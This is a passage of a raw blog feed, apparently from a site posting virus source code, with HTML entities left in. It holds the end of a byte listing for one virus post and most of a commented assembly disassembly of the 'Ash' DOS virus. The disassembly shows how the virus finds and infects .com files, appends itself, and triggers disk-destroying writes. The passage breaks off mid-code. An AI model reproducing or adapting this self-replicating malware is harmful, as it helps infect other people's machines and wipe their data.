;002A6&lt;br /&gt; db "="   ;002A7 3D&lt;br /&gt; dw 0C3DCh   ;002A8 DCC3&lt;br /&gt; db "/"   ;002AA 2F&lt;br /&gt; db 0CDh   ;002AB&lt;br /&gt; dw 24BAh   ;002AC BA24   $&lt;br /&gt; db 0C3h   ;002AE&lt;br /&gt; db "/2"   ;002AF 2F32&lt;br /&gt; db 0Bh   ;002B1&lt;br /&gt; db "z"   ;002B2 7A&lt;br /&gt; db 0Fh   ;002B3&lt;br /&gt; db 0CDh   ;002B4&lt;br /&gt; dw 0FBAh   ;002B5 BA0F&lt;br /&gt; db 0B7h   ;002B7&lt;br /&gt; db ".."   ;002B8 2E2E&lt;br /&gt; db 0C3h   ;002BA&lt;br /&gt; dw 0BA1Eh   ;002BB 1EBA&lt;br /&gt; dw 3D0Ch   ;002BD 0C3D   =&lt;br /&gt; dw 0C3DCh   ;002BF DCC3&lt;br /&gt; dw 3D1Eh   ;002C1 1E3D   =&lt;br /&gt; dw 0C3CEh   ;002C3 CEC3&lt;br /&gt; dw 0BA1Eh   ;002C5 1EBA&lt;br /&gt; db 07h   ;002C7&lt;br /&gt; db 83h   ;002C8&lt;br /&gt; dw 7498h   ;002C9 9874   t&lt;br /&gt; dw 0C30Ch   ;002CB 0CC3&lt;br /&gt; db "/"   ;002CD 2F&lt;br /&gt; db 0E5h   ;002CE&lt;br /&gt; dw 0BAF0h   ;002CF F0BA&lt;br /&gt; db "@"   ;002D1 40&lt;br /&gt; db 83h   ;002D2&lt;br /&gt; dw 0D498h   ;002D3 98D4&lt;br /&gt; dw 0B70Ch   ;002D5 0CB7&lt;br /&gt; db 09h   ;002D7&lt;br /&gt; dw 0C30Eh   ;002D8 0EC3&lt;br /&gt; db "/}"   ;002DA 2F7D&lt;br /&gt; db 0Fh   ;002DC&lt;br /&gt; db 0CDh   ;002DD&lt;br /&gt; db 83h   ;002DE&lt;br /&gt; dw 0D498h   ;002DF 98D4&lt;br /&gt; dw 0E60Ch   ;002E1 0CE6&lt;br /&gt; db "'"   ;002E3 27&lt;br /&gt; db 0F1h   ;002E4&lt;br /&gt; db 0CDh   ;002E5&lt;br /&gt; dw 14BAh   ;002E6 BA14&lt;br /&gt; db 0C3h   ;002E8&lt;br /&gt; db "/"   ;002E9 2F&lt;br /&gt; db 0CDh   ;002EA&lt;br /&gt; db "Ygbj.Zfg`i.SU." ;002EB 5967626A&lt;br /&gt; db 03h   ;002F9&lt;br /&gt; db 04h   ;002FA&lt;br /&gt; db "*Gz)}.H|gjow   .K`daw.zfk.ykkek`j.ygzf"&lt;br /&gt;     ;002FB 2A477A29&lt;br /&gt; db 03h   ;00321&lt;br /&gt; db 04h   ;00322&lt;br /&gt; db "wa{|.mac~{zk|/.UWOC.)7&lt;S"&lt;br /&gt;     ;00323 77617B7C&lt;br /&gt; db 03h   ;0033B&lt;br /&gt; db 04h   ;0033C&lt;br /&gt; db "*Lw4.Ojcg|ob.Logbkw.UWOCS$"&lt;br /&gt;     ;0033D 2A4C7734&lt;br /&gt; db " mac"   ;00357 206D6163&lt;br /&gt; db 0Eh   ;0035B&lt;br /&gt; db "Rmacco`j mac"  ;0035C 526D6163&lt;br /&gt; dw 0E70Eh   ;00368 0EE7&lt;br /&gt; db 99h   ;0036A&lt;br /&gt; db 0Eh   ;0036B&lt;br /&gt; db "  "   ;0036C 2020&lt;br /&gt; dw 2E0Eh   ;0036E 0E2E   .&lt;br /&gt; dw 4A0Eh   ;00370 0E4A   J&lt;br /&gt; db 17h   ;00372&lt;br /&gt; dw 4EC0h   ;00373 C04E   N&lt;br /&gt; db 83h   ;00375&lt;br /&gt; dw 06B8h   ;00376 B806&lt;br /&gt; db 0Dh   ;00378&lt;br /&gt; db 83h   ;00379&lt;br /&gt; dw 32B0h   ;0037A B032   2&lt;br /&gt; db 0Dh   ;0037C&lt;br /&gt; db 0B7h   ;0037D&lt;br /&gt; dw 0E16h   ;0037E 160E&lt;br /&gt; dw 0ECAAh   ;00380 AAEC&lt;br /&gt; db 0F3h   ;00382&lt;br /&gt; db 83h   ;00383&lt;br /&gt; dw 3298h   ;00384 9832   2&lt;br /&gt; db 0Dh   ;00386&lt;br /&gt; db 0F1h   ;00387&lt;br /&gt; dw 0CDDCh   ;00388 DCCD&lt;br /&gt; db 83h   ;0038A&lt;br /&gt; dw 2E98h   ;0038B 982E   .&lt;br /&gt; db 0Dh   ;0038D&lt;br /&gt; db 0F1h   ;0038E&lt;br /&gt; dw 0BADCh   ;0038F DCBA&lt;br /&gt; db "N"   ;00391 4E&lt;br /&gt; db 0B7h   ;00392&lt;br /&gt; db "9"   ;00393 39&lt;br /&gt; dw 830Ch   ;00394 0C83&lt;br /&gt; dw 0D98h   ;00396 980D&lt;br /&gt; db 0Fh   ;00398&lt;br /&gt; db 0C3h   ;00399&lt;br /&gt; db "/"   ;0039A 2F&lt;br /&gt; db 83h   ;0039B&lt;br /&gt; dw 2E98h   ;0039C 982E   .&lt;br /&gt; db 0Dh   ;0039E&lt;br /&gt; db 0F1h   ;0039F&lt;br /&gt; dw 0CDDCh   ;003A0 DCCD&lt;br /&gt; db "S"   ;003A2 53&lt;br /&gt; db 8Dh   ;003A3&lt;br /&gt; dw 109Eh   ;003A4 9E10&lt;br /&gt; db 01h   ;003A6&lt;br /&gt; db 0B9h   ;003A7&lt;br /&gt; dw 0210h   ;003A8 1002&lt;br /&gt; db "."   ;003AA 2E&lt;br /&gt; dw 0B68Ah   ;003AB 8AB6&lt;br /&gt; db "8"   ;003AD 38&lt;br /&gt; db 03h   ;003AE&lt;br /&gt; db 8Ah   ;003AF&lt;br /&gt; db "'2"   ;003B0 2732&lt;br /&gt; dw 88E6h   ;003B2 E688&lt;br /&gt; db "'C"   ;003B4 2743&lt;br /&gt; dw 0F7E2h   ;003B6 E2F7&lt;br /&gt; db "["   ;003B8 5B&lt;br /&gt; db 0C3h   ;003B9&lt;br /&gt; dw 0E90Eh   ;003BA 0EE9&lt;br /&gt; db 00h   ;003BC&lt;br /&gt;&lt;br /&gt;S00100 ENDS&lt;br /&gt; END H00100&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3222329616442510883-533812793190063575?l=virus-codes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://virus-codes.blogspot.com/feeds/533812793190063575/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3222329616442510883&amp;postID=533812793190063575&amp;isPopup=true' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3222329616442510883/posts/default/533812793190063575'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3222329616442510883/posts/default/533812793190063575'/><link rel='alternate' type='text/html' href='http://virus-codes.blogspot.com/2007/04/002-virus-codeicecom.html' title='002 - Virus Code(ICE.COM)'/><author><name>Ashish Jain</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh3.googleusercontent.com/-IMdPHu-0lX8/AAAAAAAAAAI/AAAAAAAAESw/1ITqXGACgj4/s512-c/photo.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3222329616442510883.post-4249742146894934359</id><published>2007-03-27T21:20:00.000+05:30</published><updated>2007-03-27T21:23:24.838+05:30</updated><title type='text'>001 - Virus Code ( ash.asm )</title><content type='html'>&lt;span style="color: rgb(255, 0, 0); font-weight: bold;"&gt;;**************************************************************************&lt;/span&gt;&lt;br /&gt;&lt;pre&gt;&lt;span style="color: rgb(255, 0, 0); font-weight: bold;"&gt;;*                              The Ash Virus                             *&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0); font-weight: bold;"&gt;;**************************************************************************&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0); font-weight: bold;"&gt;;*  CAUTION! This virus performs absolute disk writes when it activated!  *&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0); font-weight: bold;"&gt;;*It checks for something in memory, probably some resident AV utility.   *&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0); font-weight: bold;"&gt;;*                  (In other words, it can trash your disk!)             *&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0); font-weight: bold;"&gt;;*                         Disassembly by Black Wolf                      *&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0); font-weight: bold;"&gt;;**************************************************************************&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;.model tiny                &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;.radix 16&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;.code   &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt; org     100&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;start:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  jmp     start_virus&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;id_byte:        db       1Ah&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;;**************************************************************************&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;;*                       Infected Program Goes Here.                      *&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;;**************************************************************************&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;storage_bytes:                          ;First four bytes of host program.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  nop             &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  nop&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  int     20&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;;**************************************************************************&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;;*                       Virus Entry Point (start_virus)                  *&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;;**************************************************************************&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;start_virus:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  call    get_offset&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;get_offset:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  pop     bp&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  sub     bp,offset get_offset    ;get offset of virus&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  mov     [bp+store_ax],ax&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  xor     di,di                   &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  mov     word ptr [di+4Ah],0     ;in reserved area of PSP&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  mov     es,di                   ;ES=0 (Interrupt Table)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  mov     si,96                   ;SI=96 (Int 25)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  mov     bx,es:[si]              ;Get Int 25 address&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  mov     cx,es:[si+2]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  lea     dx,[bp+int_25]          ;Int 25 handler&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  mov     es:[si],dx              &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  mov     dx,cs                   ;Set Int 25 address&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  mov     es:[si+2],dx&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;;   The code below seems to check for either another virus or perhaps an&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;;anti-viral program in memory that sets the address of int 7F to FFFFh to &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;;mark its presence.  This may be to avoid detection by certain memory&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;;resident anti-viral utilities that analyse behavior, or to prevent conflicts&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;;with another virus.  A TSR vaccine might also be a possibility.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  mov     si,es:[di+1fe]          ;Int 7f (marker)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  cmp     si,0FFFFh               ;Has it been set?&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  jne     Restore_Host_And_Infect ;No, jump Restore_Host_And...&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  jmp     short Restore_Control   ;Already set, jump to&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  nop                             ;Restore_Control&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;Restore_Host_And_Infect:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  mov     cs:[di+4Ch],bx          ;Save old Int 25 address&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  mov     cs:[di+4Eh],cx          ;inside PSP ("reserved" area)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  push    cs&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  pop     es&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  mov     byte ptr [bp+infect_count],0   ;reset infect counter&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  lea     si,[bp+storage_bytes]          ;si=storage bytes&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  mov     di,100                         ;di=start of com&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  mov     cx,4&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  cld                             &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  rep     movsb                   ;restore storage &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  mov     ah,1Ah                  ;bytes to host&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  lea     dx,[bp+new_DTA]         ;DS:DX = new_DTA&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  int     21h                     ;Change DTA to new_DTA&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;      &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  mov     ah,4Eh                  &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  lea     dx,[bp+file_mask]       ;setup find first for *.com&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  lea     si,[bp+new_DTA+1e]      ;set SI=Filename in DTA&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  push    dx                      ;save mask address&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  jmp     short Find_First_Next&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;Restore_Control:                                ;This restores defaults and&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;      ;gives control to host COM.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  mov     ah,1Ah&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  mov     dx,80               &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  int     21h                     ;reset DTA to default in PSP&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;           &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  xor     di,di                 &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  mov     es,di                   ;ES:DI=Interrupt table&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  mov     si,96                   ;ES:SI=Int 25&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  mov     bx,cs:[di+4Ch]          &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  mov     es:[si],bx              ;Get old Int 25 address&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  mov     cx,cs:[di+4Eh]          ;and restore Int 25&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  mov     es:[si+2],cx            &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  push    cs&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  pop     es&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  mov     ax,[bp+store_ax]        ;restore ax to original&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  mov     bx,di                   ;zero registers&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  mov     cx,bx&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  mov     dx,cx&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  mov     si,dx&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  mov     sp,0FFFE                ;restore SP to default&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  mov     bp,100                  ;BP=start of COM file&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  push    bp                      ;Push 100 for ret&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  mov     bp,ax                   ;reset BP&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  ret                             ;Go to CS:100 to restore&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;      ;control to host program&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;Close_File:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  or      bx,bx                   &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  jz      Find_Next                   &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  mov     ah,3Eh                  ;Close file if handle is&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  int     21h                     ;not 0 (Console)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;      &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  xor     bx,bx                   &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;Find_Next:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  mov     ah,4Fh                  ;find next&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;Find_First_Next:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  pop     dx&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  push    dx&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  xor     cx,cx                   &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  xor     bx,bx                   &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  int     21h                     ;find first/next match&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;      ;with normal attributes&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  jnc     Infect_File                   &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  jmp     short No_More_Files&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  nop&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;Infect_File:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  mov     ax,3D02h&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  mov     dx,si&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  int     21h                     ;open file for read/write&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;      &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  jc      Close_File              ;Jump on error&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  mov     bx,ax&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  mov     ah,3Fh                  &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  mov     cx,4&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  lea     dx,[bp+storage_bytes] &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  int     21h                    ;read four bytes into storage&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;      &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  cmp     byte ptr [bp+storage_bytes+3],1Ah ;Check for ID byte.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  je      Close_File                        ;Already infected... &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  cmp     byte ptr [bp+storage_bytes],4Dh   ;Is it an EXE?&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  je      Close_File                        ;Yes? Don't Infect.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  mov     ax,4202h&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  xor     cx,cx                  ;Got to the end of file&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  xor     dx,dx&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  int     21h&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  cmp     ax,0FD00h              ;Is file over 64768 bytes?&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  ja      Close_File             ;Too big, jump Close_File&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  mov     [bp+file_size],ax&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  mov     ah,40h                &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  mov     cx,4&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  lea     dx,[bp+storage_bytes] &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  int     21h                     ;Write Storage Bytes&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;      &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  mov     ah,40h                  &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  mov     cx,end_virus-start_virus ;CX=virus size&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  lea     dx,[bp+start_virus]      ;Write from start of virus&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  int     21h                      ;Append Virus to Host&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;      &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  mov     ax,4200h&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  xor     cx,cx                   &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  xor     dx,dx                   &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  int     21h                   ;Move back to beginning of file&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;      &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  mov     ax,[bp+file_size]     ;Setup Jump&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  inc     ax&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  mov     word ptr [bp+storage_bytes+1],ax     ;Jump size&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  mov     byte ptr [bp+storage_bytes],0E9h     ;Jump Command&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  mov     byte ptr [bp+storage_bytes+3],1Ah    ;ID byte&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  mov     ah,40h                 &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  mov     cx,4&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  lea     dx,[bp+storage_bytes]   &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  int     21h                         ;Write jump to file&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;      &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  inc     byte ptr [bp+infect_count]  ;increment infect_count&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  jmp     Close_File                   &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;No_More_Files:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  cmp     byte ptr [bp+infect_count],2 ;Check infect_count&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  jae     activation                   ;If &gt;=2 go activation&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  mov     di,100&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  cmp     word ptr [di],20CDh   ;are first bytes an "Int 20"?&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  je      activation            ;Yes? Activate, it's probably&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;           ;bait. (i.e. a researcher.)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  lea     dx,[bp+Parent_Dir] &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  mov     ah,3Bh             &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  int     21h                   ;Move back one directory&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;        &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  jc      activation            ;In root directory? Activate.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  mov     ah,4Eh                ;find next file&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 